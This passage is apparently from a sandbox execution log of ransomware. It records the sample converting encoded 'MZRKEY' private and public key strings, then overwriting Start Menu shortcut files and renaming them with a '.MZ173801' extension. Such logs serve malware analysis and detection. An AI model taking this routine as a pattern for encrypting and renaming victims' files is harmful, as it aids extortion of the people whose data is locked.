lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0212.777] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x24b729c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0212.778] GetCurrentThreadId () returned 0xab4 [0212.778] GetCurrentThreadId () returned 0xab4 [0212.778] GetCurrentThreadId () returned 0xab4 [0212.779] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0212.779] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24c82fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0212.779] GetCurrentThreadId () returned 0xab4 [0212.779] GetCurrentThreadId () returned 0xab4 [0212.780] GetCurrentThreadId () returned 0xab4 [0212.780] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Steps Recorder.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\steps recorder.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330 [0212.780] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f474*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f474*=0) returned 0x0 [0212.780] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0212.780] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x448 [0212.780] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0212.780] ReadFile (in: hFile=0x330, lpBuffer=0x24d0100, nNumberOfBytesToRead=0x448, lpNumberOfBytesRead=0x19f480, lpOverlapped=0x0 | out: lpBuffer=0x24d0100*, lpNumberOfBytesRead=0x19f480*=0x448, lpOverlapped=0x0) returned 1 [0212.789] CloseHandle (hObject=0x330) returned 1 [0212.789] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Steps Recorder.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\steps recorder.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330 [0212.791] WriteFile (in: hFile=0x330, lpBuffer=0x24d2130*, nNumberOfBytesToWrite=0x448, lpNumberOfBytesWritten=0x19f48c, lpOverlapped=0x0 | out: lpBuffer=0x24d2130*, lpNumberOfBytesWritten=0x19f48c*=0x448, lpOverlapped=0x0) returned 1 [0212.791] CloseHandle (hObject=0x330) returned 1 [0212.792] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Steps Recorder.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\steps recorder.lnk"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Steps Recorder.lnk.MZ173801" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\steps recorder.lnk.mz173801")) returned 1 [0212.793] GetCurrentThreadId () returned 0xab4 [0212.793] GetCurrentThreadId () returned 0xab4 [0212.793] GetCurrentThreadId () returned 0xab4 [0212.793] GetCurrentThreadId () returned 0xab4 [0212.793] GetCurrentThreadId () returned 0xab4 [0212.793] GetCurrentThreadId () returned 0xab4 [0212.793] FindNextFileW (in: hFindFile=0xa1b6c8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc234c75c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x21f770e1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="System Tools", cAlternateFileName="SYSTEM~1")) returned 1 [0212.793] FindNextFileW (in: hFindFile=0xa1b6c8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x6ec61aae, ftCreationTime.dwHighDateTime=0x1d112f2, ftLastAccessTime.dwLowDateTime=0xc234d9cc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6ec61aae, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="Tablet PC", cAlternateFileName="TABLET~1")) returned 1 [0212.793] FindNextFileW (in: hFindFile=0xa1b6c8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x955ce979, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x955ce979, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x955ce979, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x448, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="Windows Fax and Scan.lnk", cAlternateFileName="")) returned 1 [0212.793] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0212.793] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0212.793] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows Fax and Scan.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\windows fax and scan.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19f4c0 | out: lpFileInformation=0x19f4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x955ce979, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x955ce979, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x955ce979, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x448)) returned 1 [0212.795] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows Fax and Scan.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\windows fax and scan.lnk")) returned 0x20 [0212.795] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows Fax and Scan.lnk", dwFileAttributes=0x80) returned 1 [0212.798] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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